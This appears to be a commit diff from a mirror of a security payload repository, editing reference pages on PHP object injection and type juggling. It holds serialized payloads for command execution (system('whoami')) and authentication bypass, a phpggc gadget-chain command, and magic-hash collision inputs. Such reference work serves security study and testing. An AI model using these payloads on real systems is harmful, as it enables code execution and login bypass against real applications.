mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
Minor edit in deserialization PHP and type juggling
This commit is contained in:
parent
521d61d956
commit
c8d7575ba3
@ -1,10 +1,16 @@
|
|||||||
# PHP Object Injection
|
# PHP Object injection
|
||||||
|
|
||||||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||||
|
|
||||||
|
The following magic methods will help you for a PHP Object injection
|
||||||
|
|
||||||
|
* __wakeup() when an object is unserialized.
|
||||||
|
* __destruct() when an object is deleted.
|
||||||
|
* __toString() when an object is converted to a string.
|
||||||
|
|
||||||
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
|
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
|
||||||
|
|
||||||
## Exploit with the __wakeup in the unserialize function
|
## __wakeup in the unserialize function
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
||||||
@ -40,7 +46,6 @@ a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
|||||||
|
|
||||||
# Command execution
|
# Command execution
|
||||||
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Authentication bypass
|
## Authentication bypass
|
||||||
@ -62,11 +67,11 @@ if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
|
|||||||
|
|
||||||
Payload:
|
Payload:
|
||||||
|
|
||||||
```
|
```php
|
||||||
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
||||||
```
|
```
|
||||||
|
|
||||||
Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
Because `true == "str"` is true.
|
||||||
|
|
||||||
### Object reference
|
### Object reference
|
||||||
|
|
||||||
@ -93,15 +98,10 @@ if($obj) {
|
|||||||
|
|
||||||
Payload:
|
Payload:
|
||||||
|
|
||||||
```
|
```php
|
||||||
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
|
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
|
||||||
```
|
```
|
||||||
|
|
||||||
Ref:
|
|
||||||
|
|
||||||
- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
|
||||||
- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
|
|
||||||
|
|
||||||
## Others exploits
|
## Others exploits
|
||||||
|
|
||||||
Reverse Shell
|
Reverse Shell
|
||||||
@ -148,7 +148,10 @@ phpggc monolog/rce1 'phpinfo();' -s
|
|||||||
|
|
||||||
## Thanks to
|
## Thanks to
|
||||||
|
|
||||||
- [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
- [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
||||||
- [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
||||||
- [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||||
|
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||||
|
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
||||||
|
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
|
@ -1,8 +1,13 @@
|
|||||||
# PHP Juggling type and magic hashes
|
# PHP Juggling type and magic hashes
|
||||||
|
|
||||||
|
PHP provides two ways to compare two variables:
|
||||||
|
|
||||||
|
- Loose comparison using `== or !=` : both variables have "the same value".
|
||||||
|
- Strict comparison using `=== or !==` : both variables have "the same type and the same value".
|
||||||
|
|
||||||
## Type Juggling
|
## Type Juggling
|
||||||
|
|
||||||
True statements
|
### True statements
|
||||||
|
|
||||||
```php
|
```php
|
||||||
var_dump('0010e2' == '1e3'); # true
|
var_dump('0010e2' == '1e3'); # true
|
||||||
@ -10,11 +15,15 @@ var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
|
|||||||
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
|
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
|
||||||
var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0
|
var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0
|
||||||
var_dump('0x1234Ab' == '1193131');
|
var_dump('0x1234Ab' == '1193131');
|
||||||
|
```
|
||||||
|
|
||||||
|
```php
|
||||||
'123' == 123
|
'123' == 123
|
||||||
'123a' == 123
|
'123a' == 123
|
||||||
'abc' == 0
|
'abc' == 0
|
||||||
|
```
|
||||||
|
|
||||||
|
```php
|
||||||
'' == 0 == false == NULL
|
'' == 0 == false == NULL
|
||||||
'' == 0 # true
|
'' == 0 # true
|
||||||
0 == false # true
|
0 == false # true
|
||||||
@ -22,7 +31,7 @@ false == NULL # true
|
|||||||
NULL == '' # true
|
NULL == '' # true
|
||||||
```
|
```
|
||||||
|
|
||||||
NULL statements
|
### NULL statements
|
||||||
|
|
||||||
```php
|
```php
|
||||||
var_dump(sha1([])); # NULL
|
var_dump(sha1([])); # NULL
|
||||||
@ -31,20 +40,22 @@ var_dump(md5([])); # NULL
|
|||||||
|
|
||||||
## Magic Hashes - Exploit
|
## Magic Hashes - Exploit
|
||||||
|
|
||||||
```php
|
If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float.
|
||||||
<?php
|
|
||||||
var_dump(md5('240610708') == md5('QNKCDZO'));
|
|
||||||
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
|
|
||||||
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
|
|
||||||
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
| Hash | “Magic” Number / String | Magic Hash | Found By |
|
| Hash | “Magic” Number / String | Magic Hash | Found By |
|
||||||
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
|
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
|
||||||
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
|
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
|
||||||
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
|
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
|
||||||
|
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
|
||||||
|
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
|
||||||
|
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
## Thanks to
|
## Thanks to
|
||||||
|
|
||||||
* [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)
|
* [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)
|
||||||
|
Loading…
Reference in New Issue
Block a user